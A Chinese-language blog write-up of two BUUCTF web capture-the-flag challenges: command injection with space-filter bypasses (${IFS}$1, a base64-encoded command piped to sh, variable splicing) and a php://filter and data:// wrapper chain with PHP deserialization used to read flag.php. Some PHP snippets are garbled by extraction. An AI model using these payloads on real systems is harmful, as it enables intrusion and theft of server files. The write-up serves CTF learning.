buuctf web刷题记录

空格过滤常见ctfweb题目中
*

第一题

buuctf web刷题记录_第1张图片
大佬的博客,持续学习学习学习
https://www.ghtwf01.cn/index.php/archives/273/

通过学习知道怎么样绕过
以buuctfbuuctf web刷题记录_第2张图片

首先使用burp抓包看看过滤了什么字符
基本上大部分字符都被过滤了,就很烦人
尝试构造?ip=127.0.0.1;ls
发现有两个东西
buuctf web刷题记录_第3张图片
构造cat falg.php发现被过滤了,这怎么办???
flag被过滤,空格也被过滤
尝试%09发现不行
尝试nl%09*
发现被过滤了*
也就是说想要一键出flag不可能
上网查查过滤怎么办发现可以构造
${IFS}$1
尝试构造

?ip=127.0.0.1;nl${IFS}$1index.php
buuctf web刷题记录_第4张图片看到bash被过滤了
卧槽
但是sh没有被过滤,flag也没了
想想可以
?ip=127.0.0.1;echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh
base64解码
用sh在bash下大部分都能运行
或者
变量拼接↓

我们看到源码中有一个$a变量可以覆盖

?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php

buuctf web刷题记录_第5张图片

··············································································································································································································································································

第二题

buuctf web刷题记录_第6张图片

buuctf web刷题记录_第7张图片
这道题的知识点就很多了,首先是绕过===,我们必须得上传文件,但好像没有办法上传文件,所以考虑data为协议
https://www.cnblogs.com/ichunqiu/p/10683379.html

https://www.leavesongs.com/PENETRATION/php-filter-magic.html

方法一

第一绕过text
这里需要我们传入一个文件且其内容为welcome to the zjctf,这样的话往后面看没有其他可以利用的点,我们就无法写入文件再读取,就剩下了一个data伪协议。data协议通常是用来执行PHP代码,然而我们也可以将内容写入data协议中然后让file_get_contents函数取读取。构造如下:

text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=

第二文件包含
因为我们知道php文件内容不会在页面中呈现出来,所以我们要利用filter协议使php文件内容呈现出来
我们可以构造

file=php://filter/read=convert.base64-encode/resource=useless.php

php://filter之前最常出镜的地方是XXE。由于XXE漏洞的特殊性,我们在读取HTML、PHP等文件时可能会抛出此类错误parser
error : StartTag: invalid element name 。其原因是,PHP是基于标签的脚本语言, ?>这个语法也与XML相符合,所以在解析XML的时候会被误认为是XML,而其中内容(比如特殊字符)又有可能和标准XML冲突,所以导致了出错。

那么,为了读取包含有敏感信息的PHP等源文件,我们就要先将“可能引发冲突的PHP代码”编码一遍,这里就会用到php://filter。

之后我们会解码base64

class Flag{  //flag.php  
    public $file;  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "
"; return ("U R SO CLOSE !///COME ON PLZ"); } } }

连接在一起

 

".file_get_contents($text,'r')."


"; if(preg_match("/flag/",$file)){ echo "Not now!"; exit(); }else{ class Flag{ //flag.php public $file; public function __tostring(){ if(isset($this->file)){ echo file_get_contents($this->file); echo "
"; return ("U R SO CLOSE !///COME ON PLZ"); } } } $password = unserialize($password); echo $password; } } else{ highlight_file(__FILE__); } ?>

很明显了最后要传入一个password并且想要最后输出文件内存必须要走魔法函数
所以我们先序列化password,之后魔法函数遇到序列化内容就会执行函数最后输出
file_get_contents($this->file);注意一点我们在序列化时要序列化flag.php,这样才会输入flag

file)){  
            echo file_get_contents($this->file); 
            echo "
"; return ("U R SO CLOSE !///COME ON PLZ"); } } } $a= new flag(); $a->file="flag.php"; echo(serialize($a)); ?>

最后payload

?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=:&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

欢迎大佬的各种骚操作

你可能感兴趣的:(ctf)